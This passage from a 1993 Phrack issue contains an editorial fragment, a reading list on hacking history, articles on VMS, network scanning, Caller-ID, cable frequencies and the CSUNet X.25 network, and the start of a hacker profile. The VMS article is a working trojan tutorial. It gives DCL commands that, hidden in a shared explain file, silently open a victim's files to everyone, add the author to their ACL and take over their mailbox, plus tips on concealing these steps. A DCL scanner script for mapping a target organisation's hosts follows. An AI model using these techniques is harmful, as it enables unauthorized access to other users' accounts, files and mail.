the late developments in the Washington 2600 meeting have pulled a shadow
over my hopes. Has no one learned? Have the SS and FBI nothing better to
do? Just a few moths back someone pulled one of the greatest scams of all
by setting up a fake ATM and stealing a few thousand dollars. These are
the kind of people the authorities should be after. And to the hacker,
don't sell yourself! Remember this is a learning trip, once you start
forgetting to learn and start making money out of it, it is just another
job, an illegal one at that.
Approaching Zero was an exciting and interesting surprise. It has
given me the hint that maybe someone out there understands and I hope that
everyone that reads it (and you must, you must read and learn all you can)
will also understand. I just leave you with these words: Hacking comes
from the heart - sometimes in the form of an obsession, sometimes in the
form of a hobby - once that dies, there is nothing left to do. No more
traveling trough the nets! No more exploring new systems! You might as
well turn the power off.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
What fallows is a list of books, papers and articles for those that
want to know a little more of how the media portrays us, and a little more
about the story of hacking in general.
Books:
~~~~~~
- "Approaching Zero" by Paul Mungo & Bryan Clough. Random House
1992.
- "Beating the System" by Owen Bowcott & Sally Hamilton. London:
Bloomsbury, 1990.
- "Computer Viruses - A High-Tech Disease" by Ralf Burger. Grand
Rapids, MI: Abacus, 1988.
- "The Hackers' Handbook" by Hugo Cornwall. London: Century
Communications, 1985.
- "Computers Under Attack" by Peter Denning. Addison Wesley, 1990.
- "Profits of Deceit" by Patricia Franklin. London: William
Heinemann, 1990.
- "Cyberpunk" by Katie Hafner & John Markoff. London: Fourth Estate,
1991.
- "Out of the Inner Circle" by Bill Landreth (aka The Cracker).
Redmond, WA.: Tempus Books, 1985.
- "Sillicon Valley Fever" by Judith K. Larsen & Everett M. Rogers.
London: George Allen & Unwin, 1985.
- "Computer Viruses" by Ralph Roberts. Greensboro, NC: Compute! Books,
1988.
- "The Cuckoo's Egg" by Clifford Stoll. New York: Doubleday, 1989.
- "Spectacular Computer Crimes" by Buck BloomBecker. Dow Jones-Irwin,
1990.
- "The New Hacker's Dictionary" by Eric Raymond. MIT Press, 1983.
- "The Hacker Crackdown" by Bruce Sterling. Bantam Books, 1992.
- "The Little Black Book of Computer Viruses" by Mark Ludwig. American
Eagle Publications, 1991.
- "Artificial Life" by Steven Levy. Panthenon, 1992. (For those virus
writers out there, use your tallen to create life.)
Articles & Papers:
~~~~~~~~~~~~~~~~~~
- "Crime and Puzzlement" by John Perry Barlow. Whole Earth Review,
Fall 1990: 44-57.
- "The Casino Virus - Gambling with Your Hard Disk" by Jim Bates.
Virus Bulletin, March 1991: 15-17.
- "The TP Viruses" by Vesselin Bontchev. Postings to Virus-L 1990.
- "In Defense of Hackers" by Craig Bromberg. The New York Times
Magazine, April 21, 1991.
- "Bulgaria - The Dark Country" by Bryan Clough. Virus Bulletin,
December 1990: 9-11.
- "Voice Mail Computer Abuse Prosecution: United States v. Doucette
a/k/a Kyrie" by William J. Cook. Safe Computing Proceedings of the
Fourth Annual Computer Virus & Security Conference, 1991, Organized
by National Computing Corporation.
- "Invasion of the Data Snatchers!" by Philip Elmer-De Witt. Time,
September 26, 1988: 63.
- "Data Exchange and How to Cope with This Problem: The Implication
of the German KGB Computer Espionage Affair" by Hans Gliss. Paper
presented at Securicom Italia, October 1989.
- "The Implications of the SPANet Hack." Computers Fraud & Security
Bulletin, Vol. 10, No. 2, 1987.
- "The Brain Virus: Fact and Fantasy" by Harold J. Highland. Computers
& Security, August 1988: 367-370.
- Computer Viruses - A Post Modern." Computer & Security, April 1988:
117-184.
- "Terminal Delinquents" by Jack Hitt & Paul Tough. Esquire, December
1990.
- "The Social Organization of the Computer Underground" by Gordon R.
Meyer. M.A. Thesis Submitted to the Graduate School, August 1989.
- "Satanic Viruses" by Paul Mungo. GQ, February 1991: 126-130.
- "Secrets of the Little Blue Box" by Ron Rosenbaum. Esquire, October
1971, Collected in Travels with Dr. Death. New York: Viking Penguin,
1991.
- "The Worm Program - Early Experience with a Distributed
Computations" by John F. Shoch. Communications of the ACM, Vol. 25,
No. 3, March 1982.
- "The Search for Den Zuk" by Fridrik Skulason. Virus Bulletin,
February 1991: 6-7.
- "Crisis and Aftermath" by Eugene H. Spafford. Communications of the
ACM. Vol. 32, No. 6, June 1989.
- "GURPS Labor Lost: The Cyberpunk Bust" by Bruce Sterling, Effector,
September 1991: 1.
- "Stalking the Wily Hacker" by Clifford Stoll. Communications of the
ACM. Vol. 31, No. 5, May 1988.
- "The Kinetics of Computer Virus Replication." by Peter S. Tippett.
FundationWare, March 1990.
- "The General and Logical Theory of Automata" by John L. von Neumann.
Hixon Symposium, September 1948.
- "Here Comes the Cyberpunk" by Eden Restored. Time, February 8, 1993:
58-65.
- "Surfing Off the Edge" by Richard Begar. Time, February 8, 1993: 62.
- "Can Hackers Be Sued for Damages Caused by Computer Viruses?" by
Pamela Samuelson. Communications of the ACM. Vol. 32, No. 6, June
1989.
- "Viruses and Criminal Law" by Michael Gemignani. Communications of
the ACM. Vol. 32, No. 6, June 1989.
- "Password Cracking: A Game of Wits" by Donn Seeley. Communications
of the ACM. Vol. 32, No. 6, June 1989.
- "The Cornell Commission: On Morris and the Worm" by Ted Eisenberg,
David Gries, Juris Artmanis, Don Holcomb, M. Stuart Lynn & Thomas
Santoro. Communications of the ACM. Vol. 32, No. 6, June 1989.
- "Desperately Seeking Cyberspace" by Paul Saffo. Personal Computing,
May 1989: 247-248.
- "Secrets of the Software Pirates" by Bylee Gomes. Esquire, January
1982: 58-64.
- "Trouble in Cyberspace" by Willard Uncapher. The Humanist,
September/October 1991: 5-14,34.
- "Is Computer Hacking a Crime?" Capture of a discussion held on the
WELL. Harper's Magazine, March 1990: 45-57.
- "The United States vs. Craig Neidorf" by Dorothy E. Denning.
Communications of the ACM, Vol. 34, No. 3, March 1991: 24-32.
- "Colleagues Debate Denning's Comments." Communications of the ACM.
Vol. 34, No. 3, March 1991: 33-41.
- "Denning's Rebutal" by Dorothy E. Denning. Communications of the
ACM. Vol. 34, No. 3, March 1991: 42-43.
- "Coming into the Country" by John P. Barlow. Communications of the
ACM. Vol. 34, No. 3, March 1991: 19-21.
- "Off the Hook" by Julian Dibbell. Village Voice, August 21, 1990: 8.
- "On Line and Out of Bounds" by Julian Dibbell. Village Voice, July
24, 1990:27-32.
- "Hi-Tech Mall Crawl" by Julian Dibbell. Village Voice. March 1990: 12
- "Samurai Hackers" by Lynda Edwards. Rolling Stone, September 19,
1991: 67-69.
- "Crackdown on hackers `may violate civil rights'" by Dan Charles.
New Scientist, July 21, 1990: 22.
- "United States v. Zod." The Economist, September 1, 1990: 23.
- "Drop the Phone." Time, January 9, 1989: 49.
- "Computer Recreations (Core War)" by A. K. Dewdney. Scientific
American, May 1984: 14-21.
- "Computer Recreations (Core War)" by A. K. Dewdney. Scientific
American, March 1985: 14-23.
- "Computer Recreations (Core War)" by A. K. Dewdney. Scientific
American. March 1989: 110-113.
- "Computer Security: NAS Sounds the Alarm" by Eliot Marshall. Science,
Vol. 250: 1330.
- "Students Discover Computer Threat" by Gina Koda. Science, Vol. 215,
5 March, 1982: 1216-1217.
- "A nationwide Computer-Fraud Ring Is Broken Up." The New York Times
National, Sunday, April 19, 1992.
- "Hackers: Is a Cure Worse than the Disease?" by Mark Lewyn. Business
Week, December 4, 1989: 37-38.
- "Computer Hacking Goes to Trail" by William F. Allman. U.S. News &
World Report, January 22, 1990: 25.
- "Morris Code: by Katie Hafner. The New Republican, February 19, 1990:
15-16.
- "Hackers Intentions Key to Court Case" by David Lindley. Nature. Vol.
340, August 3, 1989: 329.
- "Problems of Security" by David Lendley. Nature. Vol. 340. July 27,
1989: 252.
- "Hostile Takeovers" by Paul Wallich. Scientific American, January
1989: 22-23.
- "The Worm's Aftermath" by Eliot Marshall. Science, Vol. 242, November
25, 1988: 1121-1122
- "Researcher Fear Computer Virus' Will Slow Use of National Network"
by Calvin Sims. The New York Times, Monday, November 14, 1998: B6.
- "Networked Computers Hit by Intelligent `Virus'" by Joseph Palca &
Seth Shulman. Nature, Vol. 336, November 10, 1988: 97.
- "The Science of Computing: Computer Viruses" by Peter J. Denning.
American Scientist, Vol. 76, May-June 1988:236-238.
- "Cyberpunks and the Constitution" by Philip Elmer-Dewitt. Time, April
8, 1991:81.
- "Plan to outlaw hacking." Nature, Vol. 341, October 19, 1989: 559.
- "Computer System Intruder Plucks Passwords and Avoids Detection" by
John Markoff. The New York Times National, Monday, March 19, 1990.
- "Networked Computer Security" by S.J. Buchsbaum. Vital Speeches of
the day. December 15, 1991: 150-155.
- "Halting Hackers." The Economist. October 28, 1989: 18.
- "Revenge of the Nerds" by Nocholas Martin. The Washington Monthly,
January 1989: 21-24.
- "Greater awareness of security in aftermath of computer worm" by Seth
Shulman & Joseph Palce. Nature, Vol. 336, November 1988: 301.
- "Avoiding Virus Hysteria" by Patrick Honan. Personal Computing, May
1989: 85-92.
*****************************************************************************
{----------------------------------------------}
{ }
{ VMS/VAX Explain Files Explained }
{ or }
{ Security Holes in the VAX and DCL }
{ }
{ By: The Arctic Knight }
{ }
{----------------------------------------------}
VAX/VMS hacking has declined in popularity over the years due to the
abundance of UNIX machines now available. It has even gotten bad press from
fellow hackers. Included in this file is a security hole the size of , oh,
any of the older IBM mainframes. With a little curiosity, persistence, and
down right stubbornness I came across this rather obvious hole in the system.
However, this hole may be so obvious that it has remained relatively hidden
until now, especially since the decline of DCL users.
On most VAX systems, there is something called explain files. These are
usually help files that are made up by the system operators or borrowed from
somewhere to help better explain the way certain features of the system work,
whether they be general VAX commands, or system-specific programs.
When you are in your account (Presumably, a fake one, as this can be
tracked down if you are foolish) type:
$ explain index
and you will get a list of all the explain files on your system. Go ahead
and take a look around these just to get a feel of what it looks like. It
should be a menu driven list of text files to view or programs to run(!!!).
Most system operators only set this up to show various text files
describing commands like mentioned above. However, DCL .com files can be run
from explain files as well. Now comes the fun. Many systems will also allow
users to set up there own explain file. A really nice way to make it easy for
other users to view text files or run programs that you have set for group or
world access.
The first thing someone needs to do is make a file called INTRO.LKT which
will contain whatever introduction text that you would like displayed before
your explain file menu is displayed(i.e. you might have a description of
yourself, your duties, or a funny poem, or WHATEVER YOU WANT THAT CAN BE
CONTAINED IN A TEXT FILE!!!!)
You can use any editor to do this like EDT(a line editor) or TPU(a full
screen editor). You will need to type something along these lines to create the
file:
$set vt=100 !if using a full screen editor like TPU
$edit/tpu intro.lkt
After you are finished typing in the file, if you used TPU (A much better
choice than EDT), you press <CONTROL-Z> to save the file. Now you must create
a file called INDEX.LKI which will contain the file directories, filenames,
and short descriptions of the files that you want to have displayed. You do
this in the same manner as above, by entering an editor, and creating the file.
$edit/tpu index.lki
Now, in this file the lines should look like the following:
(File Directory) (Filename) (File Description)
Phrack41.txt A complete copy of Phrack 41 for your enjoyment.
User:[aknight.hack]vms.txt A guide to hacking VMS systems.
Temp$1:[aknight.ftp]ftplist.txt A list of FTP servers in-state.
Now, to explain these three lines. The first one will look for the program
in your main directory. The second line will look for the program listed after
it on the device called USER and in the HACK directory within the AKNIGHT
directory. The final line will look on the device called TEMP$1 in the FTP
directory within the AKNIGHT directory. Adding DCL programs will be explained
in a minute, but first lets get this up and running.
Now, that you have typed in the text files you want, and saved this file
you need to set the protection on your main directory and any others that need
accessing like the text files to group and world access. For the above example
one would want to type(assuming you are in your main directory):
$set prot=(g:re,w:re) user:[000000]aknight.dir !This is my main directory
$set prot=(g:re,w:re) user:[aknight.hack]
$set prot=(g:re,w:re) temp$1:[000000]aknight.dir !My second storage device
$set prot=(g:re,w:re) temp$1:[aknight.ftp]
$set prot=(g:r,w:r) phrack41.txt !Giving privs to read only
$set prot=(g:r,w:r) user:[aknight.hack]vms.txt
$set prot=(g:r,w:r) temp$1:[aknight.ftp]ftplist.txt
Now, if you type:
$explain aknight ! (my username in this instance,your normally)
You should get a print out to screen of your INTRO.LKT file and then a
message along the lines of "Hit <return> to continue". When you hit return a
menu will appear very similar to the normal explain file menu except with your
files listed and their descriptions which were accessed by the computer from
your INDEX.LKI file. It would look like this(or something similar) in the above
example.
{a print out of my INTRO.LKT file...}
Hit <RETURN> to continue
EXPLAIN AKNIGHT
================================================================================
(A) PHRACK41 T-A complete copy of Phrack 41 for your enjoyment.
(B) VMS T-A guide to hacking VMS systems.
(C) *EXPLAIN/USER AKNIGHT FTPLIST
T-A list of FTP servers in-state.
(Q) TERMINATE THIS PROGRAM
================================================================================
T = Text Display P = Program to be run
(* = Related Information)
Choose A-C, Q, oe type HELP for assistance.
Now you have an explain file. Pressing A-C will print those files to
screen with pauses at each page if set up on your system/account to do so. I
typed out number C the way I did, because when it has to access a directory
other than it's main one, it will usually do this. I think there is away around
this, but to be quite honest I haven't bothered figuring it out yet. When you
quit, you will be dropped back off at your main prompt. The reason you need to
set your protections, is because even thought from your account, it may look
like it is working, if you don't set your protections as described above,
NO ONE else will be able to view it!!
Now, comes the fun part. Putting DCL .COM files into your explain file.
These are put into your index just like any text file. So you could type up a
program to let someone copy the public files you have in your account to their
directory, or something similar. The security flaw comes in here and it is
a big one. Since a user is accessing your explain file from their account, any
file that they run, issues commands in their account. So, one might plant a
line in the middle of the above program that say something like:
$set def sys$login !Returns them to their main directory.
$set prot=(g:rwed,w:rwed) *.*;* !Their files are now read, write, execute,
!and deleteable by anyone, including you.
Here is another idea. Say you create a text reader in DCL, to allow people
to jump around in the text files you have, skip pages, etc. called TYPE.COM in
your main directory. Anytime you can fool people into thinking that the
computer is taking a little time to think, you can insert some major commands,
i.e. when it is skipping pages, or coping files, which almost takes no time at
all in reality. I STRONGLY suggest starting any program you plan to nest
commands like this into with:
$set noverify
Which will make sure that the program lines don't get printed to the
screen as they are running. Another important command to know is the following
which will cause the next text output from the VAX to be sent to a NULL device,
so it will essentially be lost and not printed to the screen. So, if one is
accessing someone's mailbox, you don't want a messaging appearing on screen
saying that you have entered VAX/VMS mail or whatever. The command is:
$assign nl:sys$output/user
If you forget the /user it will send the output to the null device for the
session, instead of just one line.
Some other things one might do would be to add yourself to someone's
ACL(access control list) by typing:
$set acl/acl=(ident=[aknight],access=control) *.*;*
Now, this will give you access to all their files just as if you were the
user, however if they bother to ever do a dir/prot command your username will
be printed all over the screen, so one would suggest if you must do this, to
use a fake account. Same with this below command:
$assign nl:sys$output/user
$mail set write aknight
The second line will give me read and write access to someone's mailbox,
but once again if they bother to check their mailbox protections your username
will be displayed.
In case, you haven't realized this yet, this all has A LOT of potential,
and what I have mentioned here is just the tip of the iceberg and really mostly
small and even foolish things to do, but the fact comes down to ANYTHING the
user can do in their account, YOU can do in there account if you know the right
commands and have the patience to nest them into a .COM file well enough.
When you have created the .COM file and added it to the INDEX.LKI file,
then you will need to set the protection of the file like so:
$set prot=(g:e,w:e) type.com !Execution only. No read privs.
You now have it a fully functional explain file that is only held down by
your imagination.
Remember, malicious actions aren't the sign of a true hacker, so don't
delete a users complete directory just because you want to show of your power.
Most people won't be impressed. If your a SYSOP, fix this DAMN HOLE!!! And if
your a user well, learn the system quickly, explore, absorb, and discover some
other hole before the above SYSOP patches this one......
COMMENTS, QUESTIONS, ADDITIONS, ETC can be sent to PHRACK LOOPBACK. ENJOY!!
{______________________________________________________________________________}
*****************************************************************************
A Internet Scanner
(War Dialer)
by
MadHatter
Purpose of this program
~~~~~~~~~~~~~~~~~~~~~~~
Remember those scanner, war dialer programs everyone used to scan areas of
telephone numbers to find unknown hosts? Well, now your on the net and you're
targeting some certain establishment, and you know which part of the net they
own, but the hell if you know what the actual IP addresses of their hosts are...
Telneting to NIC.DDN.MIL is no help, their records are a year old... Might as
well have been 10 yrs ago... So you type every possible IP address in. Right?
After a while that shit gets tiring... Well, hell let the computer do it,
that's what its there for. More speed, no sore fingers, no bitching, and it
runs when you're not there. Almost perfect.....
Program Details
~~~~~~~~~~~~~~~
DCL is the language and it runs on Vaxen. A,B,C,D respectively represent
the starting IP address. E,F,G,H respectively represent the ending IP address
(ex. If you what to start at 4.1.1.1 and end at 6.1.1.1 then a = 4, B = 1,
etc., E = 6, F = 1, etc.)
The prog creates a data file (FINAL.DAT) that holds all successful
connections. If you run it in batch, it also creates a .log file. This by
far takes up most of the memory. When the program quits, delete it.
This prog is just one big loop. It finds a good telnet address and then
reIFINGERs there, saving it.
Program Changes
~~~~~~~~~~~~~~~
If you run it in batch, then you might (probably) have to define where
the IFINGER or FINGER program is. Make sure it is the one for FINGERing remote
hosts, the commands for it vary. Why do you have to define it? Because the
dumb-ass sysop couldn't think of why anyone would want to use it in batch.
Problems
~~~~~~~~
The IFINGER (FINGER) command might not connect to some hosts from your
system. Why can you TELNET there but no IFINGER? It all probably has to do
with the other host (it has tight security, too far away, doesn't support
FINGERing, etc.).
No Solutions (Just one)
~~~~~~~~~~~~~~~~~~~~~~~
You say if I can TELNET to more places than IFINGERing, why not base the
scanner on the TELNET command? Two reasons: (1) the security with the TELNET
command requires its output goes to a terminal, never to run in batch; (2) the
TELNET command does not give the character address (at least not on the system I
use). To have the character address is valuable to me. The program lists the
IP address, the character address, then whatever finger came up with.
When running in batch, the program will quit eventually (do to MAX CPU
time or exceeded disk quota). This can be a pain (especially if its CPU time),
you can always get more memory. Try changing the file specifics in the prog,
and run many versions of it at once, to get as much cpu time as possible.
For memory, clear your account, or get more of them. Another problem is when
your program has stopped and you have nothing in FINAL.DAT file. So where do
you start the batch off again? All I can say is count the number of failed
connections and add 'em to your previous start address, start at that address.
More Ideas
~~~~~~~~~~
If you want the net area of an establishment then ftp to NIC.DDN.MIL and
get the hosts listing, or TELNET there and search for the name.
Some areas of the net do not like to be scanned. Your sysop will get nasty
calls, and then you will get nasty e-mail if you for instance scan the Army
Information Systems Center. Or any other government org. Of course, this
program wouldn't hurt them at all, it would bounce back. They use firewalls.
But they will bitch anyway.
After you run this program for awhile, you'll notice the net is really
a big empty place. Hosts are few and far between (at least address wise).
Are you agoraphobic yet? What do you do with all this room?
MadHatter
*----------------------------CUT HERE------------------------------------------*
$ A = 0
$ B = 0
$ C = 0
$ D = 0
$ E = 257
$ F = 0
$ G = 0
$ H = 0
$ D = D - 1
$ IFINGER := $VMS$UTIL:[IFINGER]FINGER.EXE;1
$ CREATE FINAL.DAT
$ LOOP1:
$ ON SEVERE_ERROR THEN GOTO SKIP
$ D = D + 1
$ IFINGER @'A'.'B'.'C'.'D'
$ ON SEVERE_ERROR THEN GOTO SKIP
$ ASSIGN TEMPFILE.DAT SYS$OUTPUT
$ WRITE SYS$OUTPUT "["'A'"."'B'"."'C'"."'D'"]"
$ IFINGER @'A'.'B'.'C'.'D'
$ DEASSIGN SYS$OUTPUT
$ APPEND TEMPFILE.DAT FINAL.DAT
$ DELETE TEMPFILE.DAT;*
$ SKIP:
$ IF A .EQ. E THEN IF B .EQ. F THEN IF C .EQ. G THEN IF D .EQ. H THEN EXIT
$ IF D .EQ. 256 THEN GOTO LOOP2
$ IF C .EQ. 256 THEN GOTO LOOP3
$ IF B .EQ. 256 THEN GOTO LOOP4
$ GOTO LOOP1
$ LOOP2:
$ D = 0
$ C = C + 1
$ GOTO LOOP1
$ LOOP3:
$ C = 0
$ B = B + 1
$ GOTO LOOP1
$ LOOP4:
$ B = 0
$ A = A + 1
$ GOTO LOOP1
$ EXIT
*------------------------------------CUT HERE----------------------------------*
*****************************************************************************
Caller Identification
by (Loq)ue & Key
3/20/93
Caller-Identification (CID), is a relatively new service being
offered by several carriers. It is part of a total revamp of the
telephone network, with the telephone companies trying to get people
to spend more money on their systems. CID is just one of the newer
CLASS services, which will eventually lead into ISDN in all areas.
Caller-ID allows a receiving party to see the number that is
calling before they pick up the phone. It can be used for everything
from pizza delivery to stopping prank callers. One scenario
made possible from CID is one where a salesman dials your number,
you look on a little box and see that it is someone you don't want
to talk to, so you promptly pick up the phone, say "Sorry, I don't
want any *** *** products" and slam down the receiver. Ah, the
wonders of modern technology.
Caller-ID starts by a person making a call. When the person
dials a number, the local switch rings the calling number once, and
then sends a specially encoded packet to the number, after checking
to see if that caller has access to the Calling Number Delivery
service.
The packet can contain any information, but currently it holds
a data stream that contains flow control, and error checking data.
The specifications state that several signals can exist, however,
only the Caller-ID signal is used currently.
The CID packet begins with a "Channel Seizure Signal". The
CSC is 30 bytes of hex 55, binary 01010101, which is equivalent to
250 milliseconds of a 600 hz square wave.
The second signal is the "Carrier Signal," which lasts for 150
milliseconds, and contains all binary 1's. The receiving equipment
should have been "woken-up" by the previous signal and should now
be waiting for the important information to come across.
Next are the "Message Type Word", and the "Message Length Word".
The MTW contains a Hex $04 for CID applications, with several other
codes being planned, for example $0A to mean message waiting for
a pager. The MLW contains the binary equivalent of the number of
digits in the calling number.
The data words come next, in ASCII, with the least significant
digit first. It is padded in from with a binary 0, and followed by
a binary 1. A checksum word comes after that, which contains the
twos-complement sum of the MLW and data words.
The checksum word usually signals the end of the message from
the CO, however, other messages for equipment to decode can occur
afterwards.
Caller-ID can usually be disabled with a 3 digit sequence,
which can vary from CO to CO. Several of these have been mentioned
in the past on Usenet, in comp.dcom.telecom.
Caller-ID chips are available from many sources, however,
remember that you must connect these chips through an FCC-approved
Part-68 Interface. Several of these interfaces are available,
however they are fairly expensive for an amateur electronics hacker.
If you have any more questions on CID, mail me at the above
address, or post to comp.dcom.telecom.
Additional Sources from Bellcore:
Nynex Catalog of Technical Information #NIP-7400
SPCS Customer Premises Equipment Data Interface #TR-TSY-0030
CLASS Feature: Calling Number Delivery #FSD-02-1051
CLASS Feature: Calling Number Blocking #TR-TSY-000391
*****************************************************************************
THE "OFFICIAL" CABLE TELEVISION VIDEO FREQUENCY SPECTRUM CHART
COURTESY OF: JOE (WA1VIA) & JIM (WA1FTA)
CATV CHANNEL FREQUENCY (MHz) CATV CHANNEL FREQUENCY (MHz)
-------------------------------------------------------------------------------
2 2 55.25 37 AA 301.25
3 3 61.25 38 BB 307.25
4 4 67.25 39 CC 313.25
5 5 77.25 40 DD 319.25
6 6 83.25 (85.25 ICC) 41 EE 325.25
--------------------------------------- 42 FF 331.25
7 7 175.25 43 GG 337.25
8 8 181.25 44 HH 343.25
9 9 187.25 45 II 349.25
10 10 193.25 46 JJ 355.25
11 11 199.25 47 KK 361.25
12 12 205.25 48 LL 367.25
13 13 211.25 49 MM 373.25
--------------------------------------- 50 NN 379.25
14 A 121.25 51 OO 385.25
15 B 127.25 52 PP 391.25
16 C 133.25 53 QQ 397.25
17 D 139.25 54 RR 403.25
18 E 145.25 55 SS 409.25
19 F 151.25 56 TT 415.25
20 G 157.25 57 UU 421.25
21 H 163.25 58 VV 427.25
22 I 169.25 59 WW 433.25
---------------------------------------- 60 W+ 439.25
23 J 217.25 ---------------------------------
24 K 223.25 61 W+1 445.25
25 L 229.25 62 W+2 451.25
26 M 235.25 63 W+3 457.25
27 N 241.25 64 W+4 463.25
28 O 247.25 65 W+5 469.25
29 P 253.25 ---------------------------------
30 Q 259.25 66 A-1 115.25
31 R 265.25 67 A-2 109.25
32 S 271.25 68 A-3 103.25
33 T 277.25 69 A-4 97.25
34 U 283.25 70 A-5 91.25
35 V 289.25 ---------------------------------
36 W 295.25 01 A-8 73.25
-------------------------------------------------------------------------------
* This chart was created 08/19/89 by: WA1VIA & WA1FTA. Some uses include the
isolation of CATV interference to other radio services, and building of active
& passive filters, and descramblers. This does NOT give you the right to view
or decode premium cable channels; without proper authorization from your local
cable TV company. Federal and various state laws provide for substantial civil
an criminal penalties for unauthorized use.
-------------------------------------------------------------------------------
******************************************************************************
-----------------------------
The CSUNet X.25 Network
Overview by Belgorath
-----------------------------
C y b e r C o r p s
Calstate University, along with Humboldt State, runs a small X.25 network
interconnecting its campuses. This file will attempt to give an overview of
this network. The hosts on this network are connected via 9600-baud links. The
main PAD on this network is a PCI/01 that allows the user to connect to several
hosts. Among them are:
(At the time of this writing, several of the machines were unreachable. They
are marked with "No info available")
hum - Humboldt State University CDC Cyber 180-830 (NOS 2.7.1)
swrl - A CalState CDC Cyber named "Swirl", running CDCNet. You may use
CDCNet to connect to the following hosts:
ATL (SunOS, eis.calstate.edu), login as:
access to request an account
ctp to access CTP
CCS CDC Cyber 960-31 (NOS 2.7.1) - This is Swirl without CDCNet
COC CDC Cyber 960-31 (NOS 2.7.1)
FILLY VAX 6230 (VMS 5.3)
ICEP IBM 4381 (VM)
OX IBM 4381 (MVS) (Aptly Named)
mlvl - University of California's Library Catalog System, named
"Melvyl".
sb - Calstate/San Bernardino CDC Cyber 180-830 (NOS 2.5.2)
sd - San Diego State University CDC Cyber 180-830B (NOS 2.7.1)
chi - Calstate/Chico CDC Cyber 180-830 (NOS 2.7.1) - oddly enough
this system is running CDCNet with itself as the only host
bak - Calstate/Bakersfield CDC Cyber Dual 830 CMR-1 (NOS 2.7.1)
this system is running CDCNet, and if you fail the login, you
can connect to these systems, if you type fast enough:
CCS - Central Cyber 960 System
CSBINA - CSUB Instructional Vax 3900
CSBOAA - CSUB Office Automation Vax 4300
CYBER - Local host
RBFBATCH - CSUB CDC Cyber Remote Batch Gateway
ccs - CDC Cyber 960-31 (CCS from Swirl)
coc - CDC Cyber 960-31 (COC from Swirl)
dh - Calstate/Dominguez Hills CDC Cyber 960-11 (NOS 2.7.1) -
this system runs CDCNet with no hosts.. go figure
fre - Calstate/Fresno - No info available
ful - Calstate/Fullerton - No info available
hay - Calstate/Hayward - No info available
la - Calstate/Los Angeles - No info available
lb - Calstate/Long Beach - No info available
mv - No info available
news - No info available
nor - Calstate/Northridge - No info available
pom - California State Polytechnic University, Pomona - No info available
sac - Calstate/Sacramento CDC Cyber 180-830 (NOS 2.5.2)
sf - Calstate/San Francisco - No info available
sj - San Jose State University - No info available
son - Sonoma State University CDC Cyber 180-830 (NOS 2.7.1) - this
system runs CDCNet with itself as the only host
sm - No info available
slo - California State Polytechnic University, San Luis Obispo - No info
available
sta - Calstate/Stanislaus - No info available
ven - No info available
carl - No info available
caps - CSUNet networking machine. From it, you can connecting to most
PAD hosts plus a few more. The extras are:
access - Connect to eis.calstate.edu (login as "access")
core - Connect to eis.calstate.edu (login as "core")
ctp - Connect to eis.calstate.edu (login as "ctp")
eis - Connect to eis.calstate.edu (login as "eis")
trie - Connect to eis.calstate.edu (login as "trie")
csupernet - CSUPERNet appears to be a public-access UNIX.
login as "public" for ATI-Net.
login as "super" for academic information.
login as "atls" for the ATLS system
Once you apply for an account here, you can telnet
to caticsuf.cati.csufresno.edu to use it.
This is all well and good, but how to you access CSUNet? It can be reached
via Internet, using the Humbolt PACX (pacx.humboldt.edu). The Humboldt PACX
allows several services, among them are:
X25 - Connect directly to CSUNet PAD
960 - CDC Cyber 180/830 (Swirl)
830 - CDC Cyber 180/830 (COC from Swirl)
VAX - VAX 8700 (VMS V5.3)
70 - DEC PDP 11/70 (running RSTS)
SEQ - Sequent S81 (running Dynix V3.1.4 X.25 UNIX software)
TELNET - Telnet Server
That's really all there is to say concerning the network structure (well,
I could go through and list all their X.25 addresses, but I won't). There's a
ton more to be said about using this network, but its little quirks and
surprises can be left to you to figure out. What I can do here is give a few
hints on using CDCNet and the PAD.
Using the PAD
~~~~~~~~~~~~~
Once you're at the X.25 PAD, you'll get a message like:
CSUnet Humboldt PCI/01, Port: P17
At the "Pad>" prompt, simply type the hostname to connect to. When in
doubt, type "help <subjectname>", or just "help" for a list of subjects that
help is available on.
Using CDCNet
~~~~~~~~~~~~
When a CDC Cyber says "You may now execute CDCNet Commands", this is your
cue. You have the following commands available:
activate_auto_recognition
activate_x_personal_computer
change_connection_attribute
change_terminal_attribute
change_working_connection
create_connection
delete_connection
display_command_information
display_command_list
display_connection
display_connection_attribute
display_service
display_terminal_attribute
do
help
request_network_operator
The ones to concern yourself with are display_service, create_connection,
and help. "help" gives the above command listing (useful), "display_service"
lists the hosts on the current CDCNet, and "create_connection <host>" creates a
connection to "host" on the CDCNet.
*******************************************************************************
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 6 of 27
-:[ Phrack Prophile ]:-
This issue our prophile features a hacker who has been around forever,
who's been there and done that, literally. His handle is Dr. Who.
When almost everyone was still mystified by Telenet, Dr. Who was busily
exploring Europe's PSN's like PSS and Datex-P. When the Internet was in
its infancy, Dr. Who was there with an account on BBN. When the world
was short of NUI's, Dr. Who discovered and perfected Pad-To-Pad. When
the world still thought COSMOS was the end-all-be-all, Dr. Who was
lurking on 1A's. One of the early LODers and one of the longest lasting.
And to top it all off, a close personal friend. How elite can you get?
______________________________________________________________________________
Personal Info:
Handle: Doctor Who (aka Skinny Puppy and Saint Cloud)
Call him: Bob
Date of Birth: February 5, 1967
Age: 26
Height: 6'1"
Weight: 160 lbs
Computers owned: in chronological order: Apple ][ series, Sinclair ZX81,
Commodore TRS-80 models 4 and 16, Coco, Atari 512,
Toshiba 2000sx. I am probably leaving out some.
How did you get your handle?
From the TV show, of course - I had a hard time defending it from other
people, so would sometimes add (413), my home area code, to identify
which one I was. Skinny Puppy was from the band of course,
and Saint Cloud was from the location of a system I was playing with,
in France.
How did you get started?
As a kid, I was a radio & electronics junkie. In 6th grade I wanted
one of those $99 "computer kits" you would see in the back of "Popular
Electronics" magazine, which had a hex keypad, and seven-segment LED
display, had 1K of ram, etc...But lusted after the TRS-80 model-I
when I used it at Radio Shack. I finally got a computer in 1981
when I was in 9th grade. I asked my parents for a Commodore,
but they went all out and got an Apple ][+. I took to programming
instantly, and within a few months had a reputation as the best
programmer in my school.
In a 1982 "Popular Communications" magazine article, I discovered
the world of loops and test tones and started playing with those.
I later tried to make free phone calls by using a tape recorder
as a red box but failed, looking back probably due to inadequate
volume. The seeds had been planted.
I wanted all sorts of software, but I had no money, and my parents
wouldn't buy very much. One computer-club meeting, someone brought
in about 15 disks of pirated software, and I had a chance to copy
about 4 disks. They guy told me about pirate BBSs, and people trading
software. In a few of the games I copied, there were numbers to
